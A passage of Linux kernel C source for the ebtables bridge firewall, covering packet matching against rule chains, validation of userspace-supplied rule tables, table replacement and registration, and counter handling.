EBT_ILOGICALOUT, ebt_dev_check(e->logical_out, p->br->dev))) return 1; if (e->bitmask & EBT_SOURCEMAC) { if (NF_INVF(e, EBT_ISOURCE, !ether_addr_equal_masked(h->h_source, e->sourcemac, e->sourcemsk))) return 1; } if (e->bitmask & EBT_DESTMAC) { if (NF_INVF(e, EBT_IDEST, !ether_addr_equal_masked(h->h_dest, e->destmac, e->destmsk))) return 1; } return 0; } static inline struct ebt_entry *ebt_next_entry(const struct ebt_entry *entry) { return (void *)entry + entry->next_offset; } /* Do some firewalling */ unsigned int ebt_do_table(struct sk_buff *skb, const struct nf_hook_state *state, struct ebt_table *table) { unsigned int hook = state->hook; int i, nentries; struct ebt_entry *point; struct ebt_counter *counter_base, *cb_base; const struct ebt_entry_target *t; int verdict, sp = 0; struct ebt_chainstack *cs; struct ebt_entries *chaininfo; const char *base; const struct ebt_table_info *private; struct xt_action_param acpar; acpar.state = state; acpar.hotdrop = false; read_lock_bh(&table->lock); private = table->private; cb_base = COUNTER_BASE(private->counters, private->nentries, smp_processor_id()); if (private->chainstack) cs = private->chainstack[smp_processor_id()]; else cs = NULL; chaininfo = private->hook_entry[hook]; nentries = private->hook_entry[hook]->nentries; point = (struct ebt_entry *)(private->hook_entry[hook]->data); counter_base = cb_base + private->hook_entry[hook]->counter_offset; /* base for chain jumps */ base = private->entries; i = 0; while (i < nentries) { if (ebt_basic_match(point, skb, state->in, state->out)) goto letscontinue; if (EBT_MATCH_ITERATE(point, ebt_do_match, skb, &acpar) != 0) goto letscontinue; if (acpar.hotdrop) { read_unlock_bh(&table->lock); return NF_DROP; } /* increase counter */ (*(counter_base + i)).pcnt++; (*(counter_base + i)).bcnt += skb->len; /* these should only watch: not modify, nor tell us * what to do with the packet */ EBT_WATCHER_ITERATE(point, ebt_do_watcher, skb, &acpar); t = (struct ebt_entry_target *) (((char *)point) + point->target_offset); /* standard target */ if (!t->u.target->target) verdict = ((struct ebt_standard_target *)t)->verdict; else { acpar.target = t->u.target; acpar.targinfo = t->data; verdict = t->u.target->target(skb, &acpar); } if (verdict == EBT_ACCEPT) { read_unlock_bh(&table->lock); return NF_ACCEPT; } if (verdict == EBT_DROP) { read_unlock_bh(&table->lock); return NF_DROP; } if (verdict == EBT_RETURN) { letsreturn: if (WARN(sp == 0, "RETURN on base chain")) { /* act like this is EBT_CONTINUE */ goto letscontinue; } sp--; /* put all the local variables right */ i = cs[sp].n; chaininfo = cs[sp].chaininfo; nentries = chaininfo->nentries; point = cs[sp].e; counter_base = cb_base + chaininfo->counter_offset; continue; } if (verdict == EBT_CONTINUE) goto letscontinue; if (WARN(verdict < 0, "bogus standard verdict\n")) { read_unlock_bh(&table->lock); return NF_DROP; } /* jump to a udc */ cs[sp].n = i + 1; cs[sp].chaininfo = chaininfo; cs[sp].e = ebt_next_entry(point); i = 0; chaininfo = (struct ebt_entries *) (base + verdict); if (WARN(chaininfo->distinguisher, "jump to non-chain\n")) { read_unlock_bh(&table->lock); return NF_DROP; } nentries = chaininfo->nentries; point = (struct ebt_entry *)chaininfo->data; counter_base = cb_base + chaininfo->counter_offset; sp++; continue; letscontinue: point = ebt_next_entry(point); i++; } /* I actually like this :) */ if (chaininfo->policy == EBT_RETURN) goto letsreturn; if (chaininfo->policy == EBT_ACCEPT) { read_unlock_bh(&table->lock); return NF_ACCEPT; } read_unlock_bh(&table->lock); return NF_DROP; } /* If it succeeds, returns element and locks mutex */ static inline void * find_inlist_lock_noload(struct list_head *head, const char *name, int *error, struct mutex *mutex) { struct { struct list_head list; char name[EBT_FUNCTION_MAXNAMELEN]; } *e; mutex_lock(mutex); list_for_each_entry(e, head, list) { if (strcmp(e->name, name) == 0) return e; } *error = -ENOENT; mutex_unlock(mutex); return NULL; } static void * find_inlist_lock(struct list_head *head, const char *name, const char *prefix, int *error, struct mutex *mutex) { return try_then_request_module( find_inlist_lock_noload(head, name, error, mutex), "%s%s", prefix, name); } static inline struct ebt_table * find_table_lock(struct net *net, const char *name, int *error, struct mutex *mutex) { return find_inlist_lock(&net->xt.tables[NFPROTO_BRIDGE], name, "ebtable_", error, mutex); } static inline int ebt_check_match(struct ebt_entry_match *m, struct xt_mtchk_param *par, unsigned int *cnt) { const struct ebt_entry *e = par->entryinfo; struct xt_match *match; size_t left = ((char *)e + e->watchers_offset) - (char *)m; int ret; if (left < sizeof(struct ebt_entry_match) || left - sizeof(struct ebt_entry_match) < m->match_size) return -EINVAL; match = xt_find_match(NFPROTO_BRIDGE, m->u.name, 0); if (IS_ERR(match) || match->family != NFPROTO_BRIDGE) { if (!IS_ERR(match)) module_put(match->me); request_module("ebt_%s", m->u.name); match = xt_find_match(NFPROTO_BRIDGE, m->u.name, 0); } if (IS_ERR(match)) return PTR_ERR(match); m->u.match = match; par->match = match; par->matchinfo = m->data; ret = xt_check_match(par, m->match_size, e->ethproto, e->invflags & EBT_IPROTO); if (ret < 0) { module_put(match->me); return ret; } (*cnt)++; return 0; } static inline int ebt_check_watcher(struct ebt_entry_watcher *w, struct xt_tgchk_param *par, unsigned int *cnt) { const struct ebt_entry *e = par->entryinfo; struct xt_target *watcher; size_t left = ((char *)e + e->target_offset) - (char *)w; int ret; if (left < sizeof(struct ebt_entry_watcher) || left - sizeof(struct ebt_entry_watcher) < w->watcher_size) return -EINVAL; watcher = xt_request_find_target(NFPROTO_BRIDGE, w->u.name, 0); if (IS_ERR(watcher)) return PTR_ERR(watcher); w->u.watcher = watcher; par->target = watcher; par->targinfo = w->data; ret = xt_check_target(par, w->watcher_size, e->ethproto, e->invflags & EBT_IPROTO); if (ret < 0) { module_put(watcher->me); return ret; } (*cnt)++; return 0; } static int ebt_verify_pointers(const struct ebt_replace *repl, struct ebt_table_info *newinfo) { unsigned int limit = repl->entries_size; unsigned int valid_hooks = repl->valid_hooks; unsigned int offset = 0; int i; for (i = 0; i < NF_BR_NUMHOOKS; i++) newinfo->hook_entry[i] = NULL; newinfo->entries_size = repl->entries_size; newinfo->nentries = repl->nentries; while (offset < limit) { size_t left = limit - offset; struct ebt_entry *e = (void *)newinfo->entries + offset; if (left < sizeof(unsigned int)) break; for (i = 0; i < NF_BR_NUMHOOKS; i++) { if ((valid_hooks & (1 << i)) == 0) continue; if ((char __user *)repl->hook_entry[i] == repl->entries + offset) break; } if (i != NF_BR_NUMHOOKS || !(e->bitmask & EBT_ENTRY_OR_ENTRIES)) { if (e->bitmask != 0) { /* we make userspace set this right, * so there is no misunderstanding */ BUGPRINT("EBT_ENTRY_OR_ENTRIES shouldn't be set " "in distinguisher\n"); return -EINVAL; } if (i != NF_BR_NUMHOOKS) newinfo->hook_entry[i] = (struct ebt_entries *)e; if (left < sizeof(struct ebt_entries)) break; offset += sizeof(struct ebt_entries); } else { if (left < sizeof(struct ebt_entry)) break; if (left < e->next_offset) break; if (e->next_offset < sizeof(struct ebt_entry)) return -EINVAL; offset += e->next_offset; } } if (offset != limit) { BUGPRINT("entries_size too small\n"); return -EINVAL; } /* check if all valid hooks have a chain */ for (i = 0; i < NF_BR_NUMHOOKS; i++) { if (!newinfo->hook_entry[i] && (valid_hooks & (1 << i))) { BUGPRINT("Valid hook without chain\n"); return -EINVAL; } } return 0; } /* this one is very careful, as it is the first function * to parse the userspace data */ static inline int ebt_check_entry_size_and_hooks(const struct ebt_entry *e, const struct ebt_table_info *newinfo, unsigned int *n, unsigned int *cnt, unsigned int *totalcnt, unsigned int *udc_cnt) { int i; for (i = 0; i < NF_BR_NUMHOOKS; i++) { if ((void *)e == (void *)newinfo->hook_entry[i]) break; } /* beginning of a new chain * if i == NF_BR_NUMHOOKS it must be a user defined chain */ if (i != NF_BR_NUMHOOKS || !e->bitmask) { /* this checks if the previous chain has as many entries * as it said it has */ if (*n != *cnt) { BUGPRINT("nentries does not equal the nr of entries " "in the chain\n"); return -EINVAL; } if (((struct ebt_entries *)e)->policy != EBT_DROP && ((struct ebt_entries *)e)->policy != EBT_ACCEPT) { /* only RETURN from udc */ if (i != NF_BR_NUMHOOKS || ((struct ebt_entries *)e)->policy != EBT_RETURN) { BUGPRINT("bad policy\n"); return -EINVAL; } } if (i == NF_BR_NUMHOOKS) /* it's a user defined chain */ (*udc_cnt)++; if (((struct ebt_entries *)e)->counter_offset != *totalcnt) { BUGPRINT("counter_offset != totalcnt"); return -EINVAL; } *n = ((struct ebt_entries *)e)->nentries; *cnt = 0; return 0; } /* a plain old entry, heh */ if (sizeof(struct ebt_entry) > e->watchers_offset || e->watchers_offset > e->target_offset || e->target_offset >= e->next_offset) { BUGPRINT("entry offsets not in right order\n"); return -EINVAL; } /* this is not checked anywhere else */ if (e->next_offset - e->target_offset < sizeof(struct ebt_entry_target)) { BUGPRINT("target size too small\n"); return -EINVAL; } (*cnt)++; (*totalcnt)++; return 0; } struct ebt_cl_stack { struct ebt_chainstack cs; int from; unsigned int hookmask; }; /* We need these positions to check that the jumps to a different part of the * entries is a jump to the beginning of a new chain. */ static inline int ebt_get_udc_positions(struct ebt_entry *e, struct ebt_table_info *newinfo, unsigned int *n, struct ebt_cl_stack *udc) { int i; /* we're only interested in chain starts */ if (e->bitmask) return 0; for (i = 0; i < NF_BR_NUMHOOKS; i++) { if (newinfo->hook_entry[i] == (struct ebt_entries *)e) break; } /* only care about udc */ if (i != NF_BR_NUMHOOKS) return 0; udc[*n].cs.chaininfo = (struct ebt_entries *)e; /* these initialisations are depended on later in check_chainloops() */ udc[*n].cs.n = 0; udc[*n].hookmask = 0; (*n)++; return 0; } static inline int ebt_cleanup_match(struct ebt_entry_match *m, struct net *net, unsigned int *i) { struct xt_mtdtor_param par; if (i && (*i)-- == 0) return 1; par.net = net; par.match = m->u.match; par.matchinfo = m->data; par.family = NFPROTO_BRIDGE; if (par.match->destroy != NULL) par.match->destroy(&par); module_put(par.match->me); return 0; } static inline int ebt_cleanup_watcher(struct ebt_entry_watcher *w, struct net *net, unsigned int *i) { struct xt_tgdtor_param par; if (i && (*i)-- == 0) return 1; par.net = net; par.target = w->u.watcher; par.targinfo = w->data; par.family = NFPROTO_BRIDGE; if (par.target->destroy != NULL) par.target->destroy(&par); module_put(par.target->me); return 0; } static inline int ebt_cleanup_entry(struct ebt_entry *e, struct net *net, unsigned int *cnt) { struct xt_tgdtor_param par; struct ebt_entry_target *t; if (e->bitmask == 0) return 0; /* we're done */ if (cnt && (*cnt)-- == 0) return 1; EBT_WATCHER_ITERATE(e, ebt_cleanup_watcher, net, NULL); EBT_MATCH_ITERATE(e, ebt_cleanup_match, net, NULL); t = (struct ebt_entry_target *)(((char *)e) + e->target_offset); par.net = net; par.target = t->u.target; par.targinfo = t->data; par.family = NFPROTO_BRIDGE; if (par.target->destroy != NULL) par.target->destroy(&par); module_put(par.target->me); return 0; } static inline int ebt_check_entry(struct ebt_entry *e, struct net *net, const struct ebt_table_info *newinfo, const char *name, unsigned int *cnt, struct ebt_cl_stack *cl_s, unsigned int udc_cnt) { struct ebt_entry_target *t; struct xt_target *target; unsigned int i, j, hook = 0, hookmask = 0; size_t gap; int ret; struct xt_mtchk_param mtpar; struct xt_tgchk_param tgpar; /* don't mess with the struct ebt_entries */ if (e->bitmask == 0) return 0; if (e->bitmask & ~EBT_F_MASK) { BUGPRINT("Unknown flag for bitmask\n"); return -EINVAL; } if (e->invflags & ~EBT_INV_MASK) { BUGPRINT("Unknown flag for inv bitmask\n"); return -EINVAL; } if ((e->bitmask & EBT_NOPROTO) && (e->bitmask & EBT_802_3)) { BUGPRINT("NOPROTO & 802_3 not allowed\n"); return -EINVAL; } /* what hook do we belong to? */ for (i = 0; i < NF_BR_NUMHOOKS; i++) { if (!newinfo->hook_entry[i]) continue; if ((char *)newinfo->hook_entry[i] < (char *)e) hook = i; else break; } /* (1 << NF_BR_NUMHOOKS) tells the check functions the rule is on * a base chain */ if (i < NF_BR_NUMHOOKS) hookmask = (1 << hook) | (1 << NF_BR_NUMHOOKS); else { for (i = 0; i < udc_cnt; i++) if ((char *)(cl_s[i].cs.chaininfo) > (char *)e) break; if (i == 0) hookmask = (1 << hook) | (1 << NF_BR_NUMHOOKS); else hookmask = cl_s[i - 1].hookmask; } i = 0; mtpar.net = tgpar.net = net; mtpar.table = tgpar.table = name; mtpar.entryinfo = tgpar.entryinfo = e; mtpar.hook_mask = tgpar.hook_mask = hookmask; mtpar.family = tgpar.family = NFPROTO_BRIDGE; ret = EBT_MATCH_ITERATE(e, ebt_check_match, &mtpar, &i); if (ret != 0) goto cleanup_matches; j = 0; ret = EBT_WATCHER_ITERATE(e, ebt_check_watcher, &tgpar, &j); if (ret != 0) goto cleanup_watchers; t = (struct ebt_entry_target *)(((char *)e) + e->target_offset); gap = e->next_offset - e->target_offset; target = xt_request_find_target(NFPROTO_BRIDGE, t->u.name, 0); if (IS_ERR(target)) { ret = PTR_ERR(target); goto cleanup_watchers; } t->u.target = target; if (t->u.target == &ebt_standard_target) { if (gap < sizeof(struct ebt_standard_target)) { BUGPRINT("Standard target size too big\n"); ret = -EFAULT; goto cleanup_watchers; } if (((struct ebt_standard_target *)t)->verdict < -NUM_STANDARD_TARGETS) { BUGPRINT("Invalid standard target\n"); ret = -EFAULT; goto cleanup_watchers; } } else if (t->target_size > gap - sizeof(struct ebt_entry_target)) { module_put(t->u.target->me); ret = -EFAULT; goto cleanup_watchers; } tgpar.target = target; tgpar.targinfo = t->data; ret = xt_check_target(&tgpar, t->target_size, e->ethproto, e->invflags & EBT_IPROTO); if (ret < 0) { module_put(target->me); goto cleanup_watchers; } (*cnt)++; return 0; cleanup_watchers: EBT_WATCHER_ITERATE(e, ebt_cleanup_watcher, net, &j); cleanup_matches: EBT_MATCH_ITERATE(e, ebt_cleanup_match, net, &i); return ret; } /* checks for loops and sets the hook mask for udc * the hook mask for udc tells us from which base chains the udc can be * accessed. This mask is a parameter to the check() functions of the extensions */ static int check_chainloops(const struct ebt_entries *chain, struct ebt_cl_stack *cl_s, unsigned int udc_cnt, unsigned int hooknr, char *base) { int i, chain_nr = -1, pos = 0, nentries = chain->nentries, verdict; const struct ebt_entry *e = (struct ebt_entry *)chain->data; const struct ebt_entry_target *t; while (pos < nentries || chain_nr != -1) { /* end of udc, go back one 'recursion' step */ if (pos == nentries) { /* put back values of the time when this chain was called */ e = cl_s[chain_nr].cs.e; if (cl_s[chain_nr].from != -1) nentries = cl_s[cl_s[chain_nr].from].cs.chaininfo->nentries; else nentries = chain->nentries; pos = cl_s[chain_nr].cs.n; /* make sure we won't see a loop that isn't one */ cl_s[chain_nr].cs.n = 0; chain_nr = cl_s[chain_nr].from; if (pos == nentries) continue; } t = (struct ebt_entry_target *) (((char *)e) + e->target_offset); if (strcmp(t->u.name, EBT_STANDARD_TARGET)) goto letscontinue; if (e->target_offset + sizeof(struct ebt_standard_target) > e->next_offset) { BUGPRINT("Standard target size too big\n"); return -1; } verdict = ((struct ebt_standard_target *)t)->verdict; if (verdict >= 0) { /* jump to another chain */ struct ebt_entries *hlp2 = (struct ebt_entries *)(base + verdict); for (i = 0; i < udc_cnt; i++) if (hlp2 == cl_s[i].cs.chaininfo) break; /* bad destination or loop */ if (i == udc_cnt) { BUGPRINT("bad destination\n"); return -1; } if (cl_s[i].cs.n) { BUGPRINT("loop\n"); return -1; } if (cl_s[i].hookmask & (1 << hooknr)) goto letscontinue; /* this can't be 0, so the loop test is correct */ cl_s[i].cs.n = pos + 1; pos = 0; cl_s[i].cs.e = ebt_next_entry(e); e = (struct ebt_entry *)(hlp2->data); nentries = hlp2->nentries; cl_s[i].from = chain_nr; chain_nr = i; /* this udc is accessible from the base chain for hooknr */ cl_s[i].hookmask |= (1 << hooknr); continue; } letscontinue: e = ebt_next_entry(e); pos++; } return 0; } /* do the parsing of the table/chains/entries/matches/watchers/targets, heh */ static int translate_table(struct net *net, const char *name, struct ebt_table_info *newinfo) { unsigned int i, j, k, udc_cnt; int ret; struct ebt_cl_stack *cl_s = NULL; /* used in the checking for chain loops */ i = 0; while (i < NF_BR_NUMHOOKS && !newinfo->hook_entry[i]) i++; if (i == NF_BR_NUMHOOKS) { BUGPRINT("No valid hooks specified\n"); return -EINVAL; } if (newinfo->hook_entry[i] != (struct ebt_entries *)newinfo->entries) { BUGPRINT("Chains don't start at beginning\n"); return -EINVAL; } /* make sure chains are ordered after each other in same order * as their corresponding hooks */ for (j = i + 1; j < NF_BR_NUMHOOKS; j++) { if (!newinfo->hook_entry[j]) continue; if (newinfo->hook_entry[j] <= newinfo->hook_entry[i]) { BUGPRINT("Hook order must be followed\n"); return -EINVAL; } i = j; } /* do some early checkings and initialize some things */ i = 0; /* holds the expected nr. of entries for the chain */ j = 0; /* holds the up to now counted entries for the chain */ k = 0; /* holds the total nr. of entries, should equal * newinfo->nentries afterwards */ udc_cnt = 0; /* will hold the nr. of user defined chains (udc) */ ret = EBT_ENTRY_ITERATE(newinfo->entries, newinfo->entries_size, ebt_check_entry_size_and_hooks, newinfo, &i, &j, &k, &udc_cnt); if (ret != 0) return ret; if (i != j) { BUGPRINT("nentries does not equal the nr of entries in the " "(last) chain\n"); return -EINVAL; } if (k != newinfo->nentries) { BUGPRINT("Total nentries is wrong\n"); return -EINVAL; } /* get the location of the udc, put them in an array * while we're at it, allocate the chainstack */ if (udc_cnt) { /* this will get free'd in do_replace()/ebt_register_table() * if an error occurs */ newinfo->chainstack = vmalloc(nr_cpu_ids * sizeof(*(newinfo->chainstack))); if (!newinfo->chainstack) return -ENOMEM; for_each_possible_cpu(i) { newinfo->chainstack[i] = vmalloc(udc_cnt * sizeof(*(newinfo->chainstack[0]))); if (!newinfo->chainstack[i]) { while (i) vfree(newinfo->chainstack[--i]); vfree(newinfo->chainstack); newinfo->chainstack = NULL; return -ENOMEM; } } cl_s = vmalloc(udc_cnt * sizeof(*cl_s)); if (!cl_s) return -ENOMEM; i = 0; /* the i'th udc */ EBT_ENTRY_ITERATE(newinfo->entries, newinfo->entries_size, ebt_get_udc_positions, newinfo, &i, cl_s); /* sanity check */ if (i != udc_cnt) { BUGPRINT("i != udc_cnt\n"); vfree(cl_s); return -EFAULT; } } /* Check for loops */ for (i = 0; i < NF_BR_NUMHOOKS; i++) if (newinfo->hook_entry[i]) if (check_chainloops(newinfo->hook_entry[i], cl_s, udc_cnt, i, newinfo->entries)) { vfree(cl_s); return -EINVAL; } /* we now know the following (along with E=mc²): * - the nr of entries in each chain is right * - the size of the allocated space is right * - all valid hooks have a corresponding chain * - there are no loops * - wrong data can still be on the level of a single entry * - could be there are jumps to places that are not the * beginning of a chain. This can only occur in chains that * are not accessible from any base chains, so we don't care. */ /* used to know what we need to clean up if something goes wrong */ i = 0; ret = EBT_ENTRY_ITERATE(newinfo->entries, newinfo->entries_size, ebt_check_entry, net, newinfo, name, &i, cl_s, udc_cnt); if (ret != 0) { EBT_ENTRY_ITERATE(newinfo->entries, newinfo->entries_size, ebt_cleanup_entry, net, &i); } vfree(cl_s); return ret; } /* called under write_lock */ static void get_counters(const struct ebt_counter *oldcounters, struct ebt_counter *counters, unsigned int nentries) { int i, cpu; struct ebt_counter *counter_base; /* counters of cpu 0 */ memcpy(counters, oldcounters, sizeof(struct ebt_counter) * nentries); /* add other counters to those of cpu 0 */ for_each_possible_cpu(cpu) { if (cpu == 0) continue; counter_base = COUNTER_BASE(oldcounters, nentries, cpu); for (i = 0; i < nentries; i++) { counters[i].pcnt += counter_base[i].pcnt; counters[i].bcnt += counter_base[i].bcnt; } } } static int do_replace_finish(struct net *net, struct ebt_replace *repl, struct ebt_table_info *newinfo) { int ret, i; struct ebt_counter *counterstmp = NULL; /* used to be able to unlock earlier */ struct ebt_table_info *table; struct ebt_table *t; /* the user wants counters back * the check on the size is done later, when we have the lock */ if (repl->num_counters) { unsigned long size = repl->num_counters * sizeof(*counterstmp); counterstmp = vmalloc(size); if (!counterstmp) return -ENOMEM; } newinfo->chainstack = NULL; ret = ebt_verify_pointers(repl, newinfo); if (ret != 0) goto free_counterstmp; ret = translate_table(net, repl->name, newinfo); if (ret != 0) goto free_counterstmp; t = find_table_lock(net, repl->name, &ret, &ebt_mutex); if (!t) { ret = -ENOENT; goto free_iterate; } /* the table doesn't like it */ if (t->check && (ret = t->check(newinfo, repl->valid_hooks))) goto free_unlock; if (repl->num_counters && repl->num_counters != t->private->nentries) { BUGPRINT("Wrong nr. of counters requested\n"); ret = -EINVAL; goto free_unlock; } /* we have the mutex lock, so no danger in reading this pointer */ table = t->private; /* make sure the table can only be rmmod'ed if it contains no rules */ if (!table->nentries && newinfo->nentries && !try_module_get(t->me)) { ret = -ENOENT; goto free_unlock; } else if (table->nentries && !newinfo->nentries) module_put(t->me); /* we need an atomic snapshot of the counters */ write_lock_bh(&t->lock); if (repl->num_counters) get_counters(t->private->counters, counterstmp, t->private->nentries); t->private = newinfo; write_unlock_bh(&t->lock); mutex_unlock(&ebt_mutex); /* so, a user can change the chains while having messed up her counter * allocation. Only reason why this is done is because this way the lock * is held only once, while this doesn't bring the kernel into a * dangerous state. */ if (repl->num_counters && copy_to_user(repl->counters, counterstmp, repl->num_counters * sizeof(struct ebt_counter))) { /* Silent error, can't fail, new table is already in place */ net_warn_ratelimited("ebtables: counters copy to user failed while replacing table\n"); } /* decrease module count and free resources */ EBT_ENTRY_ITERATE(table->entries, table->entries_size, ebt_cleanup_entry, net, NULL); vfree(table->entries); if (table->chainstack) { for_each_possible_cpu(i) vfree(table->chainstack[i]); vfree(table->chainstack); } vfree(table); vfree(counterstmp); #ifdef CONFIG_AUDIT if (audit_enabled) { audit_log(current->audit_context, GFP_KERNEL, AUDIT_NETFILTER_CFG, "table=%s family=%u entries=%u", repl->name, AF_BRIDGE, repl->nentries); } #endif return ret; free_unlock: mutex_unlock(&ebt_mutex); free_iterate: EBT_ENTRY_ITERATE(newinfo->entries, newinfo->entries_size, ebt_cleanup_entry, net, NULL); free_counterstmp: vfree(counterstmp); /* can be initialized in translate_table() */ if (newinfo->chainstack) { for_each_possible_cpu(i) vfree(newinfo->chainstack[i]); vfree(newinfo->chainstack); } return ret; } /* replace the table */ static int do_replace(struct net *net, const void __user *user, unsigned int len) { int ret, countersize; struct ebt_table_info *newinfo; struct ebt_replace tmp; if (copy_from_user(&tmp, user, sizeof(tmp)) != 0) return -EFAULT; if (len != sizeof(tmp) + tmp.entries_size) { BUGPRINT("Wrong len argument\n"); return -EINVAL; } if (tmp.entries_size == 0) { BUGPRINT("Entries_size never zero\n"); return -EINVAL; } /* overflow check */ if (tmp.nentries >= ((INT_MAX - sizeof(struct ebt_table_info)) / NR_CPUS - SMP_CACHE_BYTES) / sizeof(struct ebt_counter)) return -ENOMEM; if (tmp.num_counters >= INT_MAX / sizeof(struct ebt_counter)) return -ENOMEM; tmp.name[sizeof(tmp.name) - 1] = 0; countersize = COUNTER_OFFSET(tmp.nentries) * nr_cpu_ids; newinfo = vmalloc(sizeof(*newinfo) + countersize); if (!newinfo) return -ENOMEM; if (countersize) memset(newinfo->counters, 0, countersize); newinfo->entries = vmalloc(tmp.entries_size); if (!newinfo->entries) { ret = -ENOMEM; goto free_newinfo; } if (copy_from_user( newinfo->entries, tmp.entries, tmp.entries_size) != 0) { BUGPRINT("Couldn't copy entries from userspace\n"); ret = -EFAULT; goto free_entries; } ret = do_replace_finish(net, &tmp, newinfo); if (ret == 0) return ret; free_entries: vfree(newinfo->entries); free_newinfo: vfree(newinfo); return ret; } static void __ebt_unregister_table(struct net *net, struct ebt_table *table) { int i; mutex_lock(&ebt_mutex); list_del(&table->list); mutex_unlock(&ebt_mutex); EBT_ENTRY_ITERATE(table->private->entries, table->private->entries_size, ebt_cleanup_entry, net, NULL); if (table->private->nentries) module_put(table->me); vfree(table->private->entries); if (table->private->chainstack) { for_each_possible_cpu(i) vfree(table->private->chainstack[i]); vfree(table->private->chainstack); } vfree(table->private); kfree(table); } int ebt_register_table(struct net *net, const struct ebt_table *input_table, const struct nf_hook_ops *ops, struct ebt_table **res) { struct ebt_table_info *newinfo; struct ebt_table *t, *table; struct ebt_replace_kernel *repl; int ret, i, countersize; void *p; if (input_table == NULL || (repl = input_table->table) == NULL || repl->entries == NULL || repl->entries_size == 0 || repl->counters != NULL || input_table->private != NULL) { BUGPRINT("Bad table data for ebt_register_table!!!\n"); return -EINVAL; } /* Don't add one table to multiple lists. */ table = kmemdup(input_table, sizeof(struct ebt_table), GFP_KERNEL); if (!table) { ret = -ENOMEM; goto out; } countersize = COUNTER_OFFSET(repl->nentries) * nr_cpu_ids; newinfo = vmalloc(sizeof(*newinfo) + countersize); ret = -ENOMEM; if (!newinfo) goto free_table; p = vmalloc(repl->entries_size); if (!p) goto free_newinfo; memcpy(p, repl->entries, repl->entries_size); newinfo->entries = p; newinfo->entries_size = repl->entries_size; newinfo->nentries = repl->nentries; if (countersize) memset(newinfo->counters, 0, countersize); /* fill in newinfo and parse the entries */ newinfo->chainstack = NULL; for (i = 0; i < NF_BR_NUMHOOKS; i++) { if ((repl->valid_hooks & (1 << i)) == 0) newinfo->hook_entry[i] = NULL; else newinfo->hook_entry[i] = p + ((char *)repl->hook_entry[i] - repl->entries); } ret = translate_table(net, repl->name, newinfo); if (ret != 0) { BUGPRINT("Translate_table failed\n"); goto free_chainstack; } if (table->check && table->check(newinfo, table->valid_hooks)) { BUGPRINT("The table doesn't like its own initial data, lol\n"); ret = -EINVAL; goto free_chainstack; } table->private = newinfo; rwlock_init(&table->lock); mutex_lock(&ebt_mutex); list_for_each_entry(t, &net->xt.tables[NFPROTO_BRIDGE], list) { if (strcmp(t->name, table->name) == 0) { ret = -EEXIST; BUGPRINT("Table name already exists\n"); goto free_unlock; } } /* Hold a reference count if the chains aren't empty */ if (newinfo->nentries && !try_module_get(table->me)) { ret = -ENOENT; goto free_unlock; } list_add(&table->list, &net->xt.tables[NFPROTO_BRIDGE]); mutex_unlock(&ebt_mutex); WRITE_ONCE(*res, table); if (!ops) return 0; ret = nf_register_net_hooks(net, ops, hweight32(table->valid_hooks)); if (ret) { __ebt_unregister_table(net, table); *res = NULL; } return ret; free_unlock: mutex_unlock(&ebt_mutex); free_chainstack: if (newinfo->chainstack) { for_each_possible_cpu(i) vfree(newinfo->chainstack[i]); vfree(newinfo->chainstack); } vfree(newinfo->entries); free_newinfo: vfree(newinfo); free_table: kfree(table); out: return ret; } void ebt_unregister_table(struct net *net, struct ebt_table *table, const struct nf_hook_ops *ops) { if (ops) nf_unregister_net_hooks(net, ops, hweight32(table->valid_hooks)); __ebt_unregister_table(net, table); } /* userspace just supplied us with counters */ static int do_update_counters(struct net *net, const char *name, struct ebt_counter __user *counters, unsigned int num_counters, const void __user *user, unsigned int len) { int i, ret; struct ebt_counter *tmp; struct ebt_table *t; if (num_counters == 0) return -EINVAL; tmp = vmalloc(num_counters * sizeof(*tmp)); if (!tmp) return -ENOMEM; t = find_table_lock(net, name, &ret, &ebt_mutex); if (!t) goto free_tmp; if (num_counters != t->private->nentries) { BUGPRINT("Wrong nr of counters\n"); ret = -EINVAL; goto unlock_mutex; } if (copy_from_user(tmp, counters, num_counters * sizeof(*counters))) { ret = -EFAULT; goto unlock_mutex; } /* we want an atomic add of the counters */ write_lock_bh(&t->lock); /* we add to the counters of the first cpu */ for (i = 0; i < num_counters; i++) { t->private->counters[i].pcnt += tmp[i].pcnt; t->private->counters[i].bcnt += tmp[i].bcnt; } write_unlock_bh(&t->lock); ret = 0; unlock_mutex: mutex_unlock(&ebt_mutex); free_tmp: vfree(tmp); return ret; } static int update_counters(struct net *net, const void __user *user, unsigned int len) { struct ebt_replace hlp; if (copy_from_user(&hlp, user, sizeof(hlp))) return -EFAULT; if (len != sizeof(hlp) + hlp.num_counters * sizeof(struct ebt_counter)) return -EINVAL; return do_update_counters(net, hlp.name, hlp.counters, hlp.num_counters, user, len); } static inline int ebt_obj_to_user(char __user *um, const char *_name, const char *data, int entrysize, int usersize, int datasize) { char name[EBT_FUNCTION_MAXNAMELEN] = {0}; /* ebtables expects 32 bytes long names but xt_match names are 29 bytes * long. Copy 29 bytes and fill remaining bytes with zeroes. */ strlcpy(name, _name, sizeof(name)); if (copy_to_user(um, name, EBT_FUNCTION_MAXNAMELEN) || put_user(datasize, (int __user *)(um + EBT_FUNCTION_MAXNAMELEN)) || xt_data_to_user(um + entrysize, data, usersize, datasize, XT_ALIGN(datasize))) return -EFAULT; return 0; } static inline int ebt_match_to_user(const struct ebt_entry_match *m, const char *base, char __user *ubase) { return ebt_obj_to_user(ubase + ((char *)m - base), m->u.match->name, m->data, sizeof(*m), m->u.match->usersize, m->match_size); } static inline int ebt_watcher_to_user(const struct ebt_entry_watcher *w, const char *base, char __user *ubase) { return ebt_obj_to_user(ubase + ((char *)w - base), w->u.watcher->name, w->data, sizeof(*w), w->u.watcher->usersize, w->watcher_size); } static inline int ebt_entry_to_user(struct ebt_entry *e, const char *base, char __user *ubase) { int ret; char __user *hlp; const struct ebt_entry_target *t; if (e->bitmask == 0) { /* special case !EBT_ENTRY_OR_ENTRIES */ if (copy_to_user(ubase + ((char *)e - base), e, sizeof(struct ebt_entries))) return -EFAULT; return 0; } if (copy_to_user(ubase + ((char *)e - base), e, sizeof(*e))) return -EFAULT; hlp = ubase + (((char *)e + e->target_offset) - base); t = (struct ebt_entry_target *)(((char *)e) + e->target_offset); ret = EBT_MATCH_ITERATE(e, ebt_match_to_user, base, ubase); if (ret != 0) return ret; ret = EBT_WATCHER_ITERATE(e, ebt_watcher_to_user, base, ubase); if (ret != 0) return ret; ret = ebt_obj_to_user(hlp, t->u.target->name, t->data, sizeof(*t), t->u.target->usersize, t->target_size); if (ret != 0) return ret; return 0; } static int copy_counters_to_user(struct ebt_table *t, const struct ebt_counter *oldcounters, void __user *user, unsigned int num_counters, unsigned int nentries) { struct ebt_counter *counterstmp; int ret = 0; /* userspace might not need the counters */ if 